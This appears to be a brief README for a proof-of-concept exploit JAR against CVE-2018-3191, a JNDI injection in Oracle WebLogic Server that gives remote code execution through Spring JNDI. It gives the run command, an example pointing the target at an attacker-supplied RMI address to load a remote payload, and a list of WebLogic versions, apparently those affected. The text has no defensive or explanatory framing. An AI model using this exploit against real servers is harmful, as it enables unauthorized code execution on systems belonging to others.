
Proof-of-concept exploit for CVE-2018-3191 targeting WebLogic Server via JNDI injection. Delivers a JAR payload to trigger remote code execution through Spring JNDI.
Usage:
java -jar weblogic-spring-jndi.jar <jndi_address>
Example:
java -jar weblogic-spring-jndi.jar rmi://<IP>:1099/Object
Note:
12.2.1.3
10.3.6.0
12.2.1.0
12.1.3.0
12.2.1.1